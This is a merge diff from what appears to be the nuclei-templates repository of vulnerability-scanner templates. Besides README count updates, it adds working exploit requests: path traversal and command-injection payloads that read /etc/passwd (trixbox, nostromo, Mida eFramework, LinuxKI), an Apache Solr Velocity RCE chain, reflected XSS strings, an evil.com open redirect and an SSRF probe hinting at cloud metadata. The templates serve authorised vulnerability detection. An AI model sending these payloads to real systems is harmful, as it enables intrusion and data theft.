Merge pull request #402 from eschultze/master

Weavescope, Polycom and Iomega panel detection

.github/ISSUE_TEMPLATE/submit-template.md

@@ -0,0 +1,14 @@
+---
+name: Submit Template
+about: Submit nuclei template using issue
+title: "[nuclei-template] "
+labels: ''
+assignees: ''
+
+---
+
+**Template Details**
+
+```
+nuclei template goes here
+```

README.md

@@ -6,16 +6,38 @@
 [![Follow on Twitter](https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter)](https://twitter.com/pdnuclei)
 [![Chat on Discord](https://img.shields.io/discord/695645237418131507.svg?logo=discord)](https://discord.gg/KECAGdH)
 
-Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** and grow the list.
+Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** or [Github issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) and grow the list.
+
+An overview of the nuclei template directory including number of templates and HTTP request associated with each directory. 
+
+### nuclei templates `v6.0.7`
+
+| Template Directory      	| Number of Templates      | Number of HTTP/DNS requests  |
+|---------------------------|--------------------------|------------------------------|
+| cves                     	|86                        |131                           |
+| default-credentials       |03                        |04                            |
+| dns                     	|04                        |04                            |
+| files                     |34                        |111                           |
+| generic-detections        |03                        |03                            |
+| panels                    |28                        |82                            |
+| security-misconfiguration |16                  	   |93                            |
+| subdomain-takeover        |02           			   |02                            |
+| technologies              |24      				   |43                            |
+| tokens                    |07                        |07                            |
+| vulnerabilities           |26          			   |55                            |
+| workflows                 |12              		   |12*                           |
+
+### nuclei templates `v6.0.7` tree overview 
 
 <details>
 <summary>Template Directory</summary>
 
 ```
-├── LICENSE.md
-├── README.md
 ├── cves
 │   ├── CVE-2017-10075.yaml
+│   ├── CVE-2017-14849.yaml
+│   ├── CVE-2017-5638.yaml
+│   ├── CVE-2017-7391.yaml
 │   ├── CVE-2017-7529.yaml
 │   ├── CVE-2017-9506.yaml
 │   ├── CVE-2017-9841.yaml
@@ -37,11 +59,15 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
 │   ├── CVE-2018-5230.yaml
 │   ├── CVE-2018-7490.yaml
 │   ├── CVE-2019-10475.yaml
+│   ├── CVE-2019-11248.yaml
 │   ├── CVE-2019-11510.yaml
+│   ├── CVE-2019-11580.yaml
 │   ├── CVE-2019-12314.yaml
+│   ├── CVE-2019-12461.yaml
 │   ├── CVE-2019-14322.yaml
 │   ├── CVE-2019-14974.yaml
 │   ├── CVE-2019-15043.yaml
+│   ├── CVE-2019-16278.yaml
 │   ├── CVE-2019-16759-1.yaml
 │   ├── CVE-2019-16759.yaml
 │   ├── CVE-2019-17382.yaml
@@ -51,9 +77,11 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
 │   ├── CVE-2019-19908.yaml
 │   ├── CVE-2019-19985.yaml
 │   ├── CVE-2019-2588.yaml
+│   ├── CVE-2019-2725.yaml
 │   ├── CVE-2019-3396.yaml
 │   ├── CVE-2019-3799.yaml
 │   ├── CVE-2019-5418.yaml
+│   ├── CVE-2019-6112.yaml
 │   ├── CVE-2019-7609.yaml
 │   ├── CVE-2019-8449.yaml
 │   ├── CVE-2019-8451.yaml
@@ -66,24 +94,32 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
 │   ├── CVE-2020-12720.yaml
 │   ├── CVE-2020-13167.yaml
 │   ├── CVE-2020-13379.yaml
+│   ├── CVE-2020-15920.yaml
+│   ├── CVE-2020-17505.yaml
+│   ├── CVE-2020-17506.yaml
 │   ├── CVE-2020-2096.yaml
+│   ├── CVE-2020-2140.yaml
+│   ├── CVE-2020-24223.yaml
 │   ├── CVE-2020-3187.yaml
 │   ├── CVE-2020-3452.yaml
 │   ├── CVE-2020-5284.yaml
 │   ├── CVE-2020-5405.yaml
 │   ├── CVE-2020-5410.yaml
+│   ├── CVE-2020-5412.yaml
 │   ├── CVE-2020-5902.yaml
 │   ├── CVE-2020-6287.yaml
 │   ├── CVE-2020-7209.yaml
 │   ├── CVE-2020-7961.yaml
 │   ├── CVE-2020-8091.yaml
 │   ├── CVE-2020-8115.yaml
+│   ├── CVE-2020-8163.yaml
 │   ├── CVE-2020-8191.yaml
 │   ├── CVE-2020-8193.yaml
 │   ├── CVE-2020-8194.yaml
 │   ├── CVE-2020-8512.yaml
 │   ├── CVE-2020-8982.yaml
 │   ├── CVE-2020-9484.yaml
+│   ├── CVE-2020-9496.yaml
 │   └── CVE-2020-9757.yaml
 ├── default-credentials
 │   ├── grafana-default-credential.yaml
@@ -97,11 +133,13 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
 ├── files
 │   ├── apc-info.yaml
 │   ├── cgi-test-page.yaml
-│   ├── debug-pprof.yaml
 │   ├── dir-listing.yaml
 │   ├── docker-registry.yaml
+│   ├── druid-monitor.yaml
 │   ├── drupal-install.yaml
+│   ├── ds_store.yaml
 │   ├── elasticsearch.yaml
+│   ├── error-logs.yaml
 │   ├── exposed-kibana.yaml
 │   ├── exposed-svn.yaml
 │   ├── filezilla.yaml
@@ -114,6 +152,7 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
 │   ├── lazy-file.yaml
 │   ├── phpinfo.yaml
 │   ├── public-tomcat-instance.yaml
+│   ├── robots.txt.yaml
 │   ├── security.txt.yaml
 │   ├── server-status-localhost.yaml
 │   ├── telerik-dialoghandler-detect.yaml
@@ -121,6 +160,7 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
 │   ├── tomcat-scripts.yaml
 │   ├── wadl-files.yaml
 │   ├── web-config.yaml
+│   ├── wordpress-debug-log.yaml
 │   ├── wordpress-directory-listing.yaml
 │   ├── wordpress-user-enumeration.yaml
 │   ├── wp-xmlrpc.yaml
@@ -144,6 +184,7 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
 │   ├── kubernetes-pods.yaml
 │   ├── mongo-express-web-gui.yaml
 │   ├── parallels-html-client.yaml
+│   ├── pfsense-web-gui.yaml
 │   ├── phpmyadmin-panel.yaml
 │   ├── pulse-secure-panel.yaml
 │   ├── rabbitmq-dashboard.yaml
@@ -153,19 +194,26 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
 │   ├── supervpn-panel.yaml
 │   ├── swagger-panel.yaml
 │   ├── tikiwiki-cms.yaml
+│   ├── traefik-dashboard
+│   ├── traefik-dashboard.yaml
 │   ├── weave-scope-dashboard-detect.yaml
-│   └── webeditors.yaml
+│   ├── webeditors.yaml
+│   └── workspaceone-uem-airWatch-dashboard-detect.yaml
 ├── payloads
 │   └── CVE-2020-6287.xml
 ├── security-misconfiguration
 │   ├── basic-cors-flash.yaml
 │   ├── basic-cors.yaml
+│   ├── drupal-user-enum-ajax.yaml
+│   ├── drupal-user-enum-redirect.yaml
 │   ├── front-page-misconfig.yaml
 │   ├── jira-service-desk-signup.yaml
 │   ├── jira-unauthenticated-dashboards.yaml
 │   ├── jira-unauthenticated-popular-filters.yaml
 │   ├── jira-unauthenticated-projects.yaml
 │   ├── jira-unauthenticated-user-picker.yaml
+│   ├── missing-x-frame-options.yaml
+│   ├── put-method-enabled.yaml
 │   ├── rack-mini-profiler.yaml
 │   ├── springboot-detect.yaml
 │   ├── wamp-xdebug-detect.yaml
@@ -174,10 +222,12 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
 │   ├── detect-all-takeovers.yaml
 │   └── s3-subtakeover.yaml
 ├── technologies
+│   ├── artica-web-proxy-detect.yaml
 │   ├── bigip-config-utility-detect.yaml
 │   ├── citrix-vpn-detect.yaml
 │   ├── clockwork-php-page.yaml
 │   ├── couchdb-detect.yaml
+│   ├── favicon-detection.yaml
 │   ├── github-enterprise-detect.yaml
 │   ├── gitlab-detect.yaml
 │   ├── graphql.yaml
@@ -188,7 +238,6 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
 │   ├── linkerd-badrule-detect.yaml
 │   ├── linkerd-ssrf-detect.yaml
 │   ├── netsweeper-webadmin-detect.yaml
-│   ├── ntlm-directories.yaml
 │   ├── prometheus-exposed-panel.yaml
 │   ├── s3-detect.yaml
 │   ├── sap-netweaver-as-java-detect.yaml
@@ -200,6 +249,7 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
 ├── tokens
 │   ├── amazon-mws-auth-token-value.yaml
 │   ├── aws-access-key-value.yaml
+│   ├── credentials-disclosure.yaml
 │   ├── google-api-key.yaml
 │   ├── http-username-password.yaml
 │   ├── mailchimp-api-key.yaml
@@ -209,6 +259,7 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
 │   ├── couchdb-adminparty.yaml
 │   ├── crlf-injection.yaml
 │   ├── discourse-xss.yaml
+│   ├── eclipse-help-system-xss.yaml
 │   ├── git-config-nginxoffbyslash.yaml
 │   ├── ibm-infoprint-directory-traversal.yaml
 │   ├── microstrategy-ssrf.yaml
@@ -220,16 +271,20 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
 │   ├── pdf-signer-ssti-to-rce.yaml
 │   ├── rce-shellshock-user-agent.yaml
 │   ├── rce-via-java-deserialization.yaml
+│   ├── sick-beard-xss.yaml
 │   ├── springboot-actuators-jolokia-xxe.yaml
 │   ├── symfony-debugmode.yaml
 │   ├── tikiwiki-reflected-xss.yaml
 │   ├── tomcat-manager-pathnormalization.yaml
 │   ├── twig-php-ssti.yaml
+│   ├── wems-manager-xss.yaml
 │   ├── wordpress-duplicator-path-traversal.yaml
 │   ├── wordpress-wordfence-xss.yaml
 │   └── x-forwarded-host-injection.yaml
 └── workflows
+    ├── artica-web-proxy-workflow.yaml
     ├── bigip-pwner-workflow.yaml
+    ├── cisco-asa-workflow.yaml
     ├── grafana-workflow.yaml
     ├── jira-exploitaiton-workflow.yaml
     ├── liferay-rce-workflow.yaml
@@ -243,7 +298,7 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
 
 </details>
 
-13 directories, **214 templates**. 
+13 directories, **250 templates**. 
 
 Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding. 
 
@@ -253,3 +308,4 @@ Please navigate to https://nuclei.projectdiscovery.io for detailed documentation
 2. Use YAML Formatter (e.g. [jsonformatter](https://jsonformatter.org/yaml-formatter)) to format new templates when sending pull requests.
 
 Thanks again for your contribution and keeping the community vibrant. :heart:
+

cves/CVE-2017-14537.yaml

@@ -0,0 +1,51 @@
+id: CVE-2017-14537
+
+info:
+  name: trixbox 2.8.0 - directory-traversal
+  author: pikpikcu
+  severity: medium
+
+# Refrence:-https://nvd.nist.gov/vuln/detail/CVE-2017-14537
+# https://secur1tyadvisory.wordpress.com/2018/02/13/trixbox-multiple-path-traversal-vulnerabilities-cve-2017-14537/
+# Product vendor:-https://sourceforge.net/projects/asteriskathome/
+
+requests:
+  - raw:
+      - |
+        POST /maint/index.php?packages HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        Content-Type: application/x-www-form-urlencoded
+        Referer: {{Hostname}}/maint/index.php?packages
+        Content-Length: 160
+        Cookie: lng=en; security_level=0; PHPSESSID=7fasl890v1c51vu0d31oemt3j1; ARI=teev7d0kgvdko8u5b26p3335a2
+        Authorization: Basic bWFpbnQ6cGFzc3dvcmQ=
+        Connection: keep-alive
+
+        xajax=menu&xajaxr=1504969293893&xajaxargs[]=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&xajaxargs[]=yumPackages
+
+      - |
+        GET /maint/modules/home/index.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00english HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        Referer: {{Hostname}}/maint/index.php?packages
+        Cookie: lng=en; security_level=0; PHPSESSID=7fasl890v1c51vu0d31oemt3j1; ARI=teev7d0kgvdko8u5b26p3335a2
+        Authorization: Basic bWFpbnQ6cGFzc3dvcmQ=
+        Connection: keep-alive
+        Upgrade-Insecure-Requests: 1
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body

cves/CVE-2017-5638.yaml

@@ -26,5 +26,5 @@ requests:
     matchers:
       - type: word
         words:
-          - "Bounty Plz"
-        part: header
+          - "X-Hacker: Bounty Plz"
+        part: header

cves/CVE-2017-7391.yaml

@@ -0,0 +1,25 @@
+id: CVE-2017-7391
+
+info:
+  name: Magmi – Cross-Site Scripting v.0.7.22
+  author: pikpikcu
+  severity: medium
+  description: A Cross-Site Scripting (XSS) was discovered in 'Magmi 0.7.22'. The vulnerability exists due to insufficient filtration of user-supplied data (prefix) passed to the 'magmi-git-master/magmi/web/ajax_gettime.php' URL.
+
+  # Issues:-https://github.com/dweeves/magmi-git/issues/522
+  # Download:-https://github.com/dweeves/magmi-git/releases/download/0.7.22/magmi_full_0.7.22.zip
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/magmi/web/ajax_gettime.php?prefix=%22%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%3C"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - '"><script>alert(document.domain);</script><'
+        part: body

cves/CVE-2017-7529.yaml

@@ -1,24 +1,23 @@
 id: CVE-2017-7529
 info:
-  author: "Harsh Bothra"
+  author: "Harsh Bothra & @dwisiswant0"
   name: "Nginx Remote Integer Overflow"
   severity: medium
   description: Nginx versions since 0.5.6 up to and including 1.13.2 are vulnerable to integer overflow vulnerability in nginx range filter module resulting into leak of potentially sensitive information triggered by specially crafted request.
 
-# This template supports the detection part only.
-# Do not test any website without permission
-# https://gist.githubusercontent.com/BlackVirusScript/75fae10a037c376555b0ad3f3da1a966/raw/d1cc081053636711881ea45c84e0971d5babe103/CVE-2017-7529.py
+  # This template supports the detection part only.
+  # Do not test any website without permission
+  # https://gist.githubusercontent.com/BlackVirusScript/75fae10a037c376555b0ad3f3da1a966/raw/d1cc081053636711881ea45c84e0971d5babe103/CVE-2017-7529.py
 
 requests:
   - raw:
       - |
-          GET / HTTP/1.1
-          Host: {{Hostname}}
-          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
-          Accept-Language: en-US,en;q=0.5
-          Range: bytes=-17208,-9223372036854758792
-          Connection: close
-
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Range: bytes=-17208,-9223372036854758792
+        Connection: close
     matchers-condition: and
     matchers:
       - type: status
@@ -26,5 +25,7 @@ requests:
           - 206
       - type: word
         words:
-          - Content-Range
-        part: header
+          - "Server: nginx"
+          - "Content-Range"
+        condition: and
+        part: header

cves/CVE-2017-9841.yaml

@@ -3,7 +3,7 @@ id: CVE-2017-9841
 info:
   name: CVE-2017-9841
   author: Random-Robbie
-  severity: High
+  severity: high
   description: Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a "<?php " substring, as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI
   # Reference to exploit
   # https://github.com/cyberharsh/Php-unit-CVE-2017-9841

cves/CVE-2018-1000129.yaml

@@ -2,16 +2,16 @@ id: CVE-2018-1000129
 
 info:
   name: Jolokia XSS
-  author: mavericknerd
+  author: mavericknerd @0h1in9e
   severity: high
   description: An XSS vulnerability exists in the Jolokia agent version 1.3.7 in the HTTP servlet that allows an attacker to execute malicious javascript in the victim's browser.
 
 requests:
   - method: GET
     path:
-      - "{{BaseURL}}/jolokia/read%3Csvg/onload=alert(1337)%3E?mimeType=text/html"
-      - "{{BaseURL}}/api/jolokia/read%3Csvg/onload=alert(1337)%3E?mimeType=text/html"
-      - "{{BaseURL}}:8080/jolokia/read%3Csvg/onload=alert(1337)%3E?mimeType=text/html"
+      - "{{BaseURL}}/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
+      - "{{BaseURL}}/api/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
+      - "{{BaseURL}}:8080/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
     matchers-condition: and
     matchers:
       - type: status
@@ -19,5 +19,9 @@ requests:
           - 200
       - type: word
         words:
-          - "<svg/onload=alert(1337)>"
+          - "<svg onload=alert(document.domain)>"
         part: body
+      - type: word
+        words:
+          - "text/html"
+        part: header

cves/CVE-2018-1271.yaml

@@ -3,7 +3,7 @@ id: CVE-2018-1271
 info:
   name: Spring MVC Directory Traversal Vulnerability
   author: hetroublemakr
-  severity: High
+  severity: high
   # reference: https://medium.com/@knownsec404team/analysis-of-spring-mvc-directory-traversal-vulnerability-cve-2018-1271-b291bdb6be0d
 
 requests:

cves/CVE-2019-1010287.yaml

@@ -0,0 +1,37 @@
+id: CVE-2019-1010287
+
+info:
+  name: Timesheet 1.5.3 - Cross Site Scripting
+  author: pikpikcu
+  severity: High
+
+# Refrence:-https://nvd.nist.gov/vuln/detail/CVE-2019-1010287
+# Google-Dork: inurl:"/timesheet/login.php"
+# Demo: http://www.mdh-tz.info/
+
+requests:
+  - raw:  # Metod POST  From  login.php
+      - |
+        POST /timesheet/login.php HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        Content-Type: application/x-www-form-urlencoded
+        Content-Length: 91
+        DNT: 1
+        Connection: keep-alive
+        Upgrade-Insecure-Requests: 1
+
+        username=%27%22%3E%3Cscript%3Ejavascript%3Aalert%28document.domain%29%3C%2Fscript%3E&password=pd&submit=Login
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - '><script>javascript:alert(document.domain)</script>'
+        part: body

cves/CVE-2019-12461.yaml

@@ -0,0 +1,25 @@
+id: CVE-2019-12461
+
+info:
+  name: WebPort 1.19.1 - Reflected Cross-Site Scripting
+  author: pikpikcu
+  severity: medium
+
+# Vendor Homepage: https://webport.se/
+# Software Link: https://webport.se/nedladdningar/
+# Refrence: https://github.com/EmreOvunc/WebPort-v1.19.1-Reflected-XSS
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/log?type=%22%3C/script%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%3Cscript%3E'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - '"</script><script>alert(document.domain);</script><script>'
+        part: body

cves/CVE-2019-16278.yaml

@@ -0,0 +1,26 @@
+id: CVE-2019-16278
+
+info:
+  author: pikpikcu
+  name: nostromo 1.9.6 - Remote Code Execution
+  severity: critical
+
+  # Source: https://www.exploit-db.com/raw/47837
+
+requests:
+  - raw:
+      - |
+        POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
+        Content-Length: 1
+        Connection: close
+
+        echo
+        echo
+        cat /etc/passwd 2>&1
+
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"

cves/CVE-2019-17382.yaml

@@ -3,7 +3,7 @@ id: CVE-2019-17382
 info:
   name: Zabbix Authentication Bypass
   author: Harsh Bothra
-  severity: Critical
+  severity: critical
   # source:- https://nvd.nist.gov/vuln/detail/CVE-2019-17382
 
 requests:

cves/CVE-2019-17558.yaml

@@ -0,0 +1,58 @@
+id: CVE-2019-17558
+
+info:
+  name: Apache Solr 8.3.0 - Remote Code Execution via Velocity Template
+  author: pikpikcu
+  severity: critical
+
+# Refrense:https://gist.github.com/s00py/a1ba36a3689fa13759ff910e179fc133
+# https://nvd.nist.gov/vuln/detail/CVE-2019-17558
+# Issues:-https://issues.apache.org/jira/browse/SOLR-13971
+
+requests:
+  - raw:   # Request: set "params.resource.loader.enabled"
+      - |
+        POST /solr/atom/config HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        Connection: close
+        Content-Type: application/json
+        Content-Length: 259
+        Upgrade-Insecure-Requests: 1
+
+        {
+            "update-queryresponsewriter": {
+              "startup": "lazy",
+              "name": "velocity",
+              "class": "solr.VelocityResponseWriter",
+              "template.base.dir": "",
+              "solr.resource.loader.enabled": "true",
+              "params.resource.loader.enabled": "true"
+            }
+        }
+
+      # RCE via velocity template:
+      # Get /etc/passwd
+
+      - |
+        GET /solr/atom/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27cat%20/etc/passwd%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        Connection: close
+        Upgrade-Insecure-Requests: 1
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body

cves/CVE-2019-3396.yaml

@@ -2,7 +2,7 @@ id: CVE-2019-3396
 info:
   author: "Harsh Bothra"
   name: "Atlassian Confluence Path Traversal"
-  severity: High
+  severity: high
 
 # https://github.com/x-f1v3/CVE-2019-3396
 

cves/CVE-2020-11034.yaml

@@ -0,0 +1,23 @@
+id: CVE-2020-11034
+
+info:
+  name: GLPI v.9.4.6 - Open redirect
+  author: pikpikcu
+  severity: low
+
+ # security-advisories:-https://github.com/glpi-project/glpi/security/advisories/GHSA-gxv6-xq9q-37hg
+ # https://github.com/glpi-project/glpi/archive/9.4.6.zip
+ # https://nvd.nist.gov/vuln/detail/CVE-2020-11034
+
+requests:
+  - method: GET
+
+    path:
+      - "{{BaseURL}}/index.php?redirect=/\/evil.com/"
+      - "{{BaseURL}}/index.php?redirect=//evil.com"
+
+    matchers:
+      - type: regex
+        regex:
+          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_]*\.)?evil\.com(?:\s*?)$'
+        part: header

cves/CVE-2020-15920.yaml

@@ -0,0 +1,24 @@
+id: CVE-2020-15920
+
+info:
+  name: Unauthenticated RCE at Mida eFramework on 'PDC/ajaxreq.php'
+  author: dwisiswant0
+  severity: critical
+  description: There is an OS Command Injection in Mida eFramework through 2.9.0 that allows an attacker to achieve Remote Code Execution (RCE) with administrative (root) privileges. No authentication is required.
+
+  # References:
+  # - https://elbae.github.io/jekyll/update/2020/07/14/vulns-01.html
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/PARAM=127.0.0.1+-c+0%3B+cat+%2Fetc%2Fpasswd&DIAGNOSIS=PING"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body

cves/CVE-2020-2140.yaml

@@ -0,0 +1,25 @@
+id: CVE-2020-2140
+info:
+  author: j3ssie/geraldino2
+  name: Jenkin AuditTrailPlugin XSS
+  severity: medium
+  description: Jenkins Audit Trail Plugin 3.2 and earlier does not escape the error message for the URL Patterns field form validation, resulting in a reflected cross-site scripting vulnerability.
+
+  # Source:- https://nvd.nist.gov/vuln/detail/CVE-2020-2140
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/descriptorByName/AuditTrailPlugin/regexCheck?value=*j%3Ch1%3Esample"
+      - "{{BaseURL}}/jenkins/descriptorByName/AuditTrailPlugin/regexCheck?value=*j%3Ch1%3Esample"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - <h1>sample
+        part: body
+
+      - type: status
+        status:
+          - 200

cves/CVE-2020-24223.yaml

@@ -0,0 +1,24 @@
+id: CVE-2020-24223
+
+info:
+  name: Mara CMS  7.5 - Reflective Cross-Site Scripting
+  author: pikpikcu
+  severity: medium
+
+  # Vendor Homepage: https://sourceforge.net/projects/maracms/
+  # Software Link: https://sourceforge.net/projects/maracms/files/MaraCMS75.zip/download
+  # Source: https://www.exploit-db.com/exploits/48777
+
+requests:
+  - metod: GET
+    path:
+      - '{{BaseURL}}/contact.php?theme=tes%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E'
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - '"><script>alert(document.domain)</script>'
+        part: body

cves/CVE-2020-3187.yaml

@@ -5,7 +5,7 @@ id: CVE-2020-3187
 info:
   name: CVE-2020-3187
   author: KareemSe1im
-  severity: High
+  severity: high
 
 requests:
   - method: GET

cves/CVE-2020-5405.yaml

@@ -3,7 +3,7 @@ id: CVE-2020-5405
 info:
   name: Spring Cloud Directory Traversal
   author: Harsh Bothra
-  severity: High
+  severity: high
 
 # source:- https://nvd.nist.gov/vuln/detail/CVE-2020-5405
 

cves/CVE-2020-5412.yaml

@@ -0,0 +1,28 @@
+id: CVE-2020-5412
+
+info:
+  name: Full-read SSRF in Spring Cloud Netflix (Hystrix Dashboard)
+  author: dwisiswant0
+  severity: medium
+  description: Spring Cloud Netflix, versions 2.2.x prior to 2.2.4, versions 2.1.x prior to 2.1.6, and older unsupported versions allow applications to use the Hystrix Dashboard proxy.stream endpoint to make requests to any server reachable by the server hosting the dashboard. A malicious user, or attacker, can send a request to other servers that should not be exposed publicly.
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/proxy.stream?origin=http://burpcollaborator.net/"
+
+      # To get crithit, try http://169.254.169.254/latest/metadata/
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "Burp Collaborator Server"
+        part: body
+      - type: word
+        words:
+          - "Jelly"
+        part: header
+      - type: status
+        status:
+          - 200

cves/CVE-2020-7209.yaml

@@ -9,19 +9,17 @@ info:
   # The kivis.php pid parameter received from the user is sent to the shell_exec function, resulting in security vulnerability.
 
   # https://github.com/HewlettPackard/LinuxKI/commit/10bef483d92a85a13a59ca65a288818e92f80d78
+  # venedor: https://www.hpe.com/us/en/home.html
+  # softwar: https://github.com/HewlettPackard/LinuxKI
 
 requests:
   - method: GET
     path:
-      - "{{BaseURL}}/linuxki/experimental/vis/kivis.php?type=kitrace&pid=1%3Becho%20%22bm9uZXhpc3RlbnQ%3D%22%20%7C%20base64%20-d"
-    headers:
-      User-Agent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)"
+      - "{{BaseURL}}/linuxki/experimental/vis/kivis.php?type=kitrace&pid=0;echo%20START;cat%20/etc/passwd;echo%20END;"
+
     matchers-condition: and
     matchers:
-      - type: word
-        words:
-          - "nonexistent"
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
         part: body
-      - type: status
-        status:
-          - 200

cves/CVE-2020-8512.yaml

@@ -12,13 +12,13 @@ info:
 requests:
   - method: GET
     path:
-      - '{{BaseURL}}/webmail/?color="><svg/onload=alert(document.domain)>"'
-      - '{{BaseURL}}:32000/webmail/?color="><svg/onload=alert(document.domain)>"'
+      - '{{BaseURL}}/webmail/?color=%22%3E%3Csvg/onload=alert(document.domain)%3E%22'
+      - '{{BaseURL}}:32000/webmail/?color=%22%3E%3Csvg/onload=alert(document.domain)%3E%22'
     matchers-condition: and
     matchers:
       - type: word
         words:
-          - "<svg/onload=alert(document.domain)>\"\">"
+          - "<svg/onload=alert(document.domain)>"
         part: body
       - type: status
         status:

default-credentials/rabbitmq-default-admin.yaml

@@ -3,7 +3,7 @@ id: rabbitmq-default-admin
 info:
   name: RabbitMQ Default Credentials
   author: fyoorer & dwisiswant0
-  severity: High
+  severity: high
 
 requests:
   - method: GET

files/druid-monitor.yaml

@@ -0,0 +1,20 @@
+id: druid-monitor
+info:
+  name: Druid Monitor Unauthorized Access
+  author: 0h1in9e @ohlinge
+  severity: high
+
+requests:
+  - method: GET
+    path:
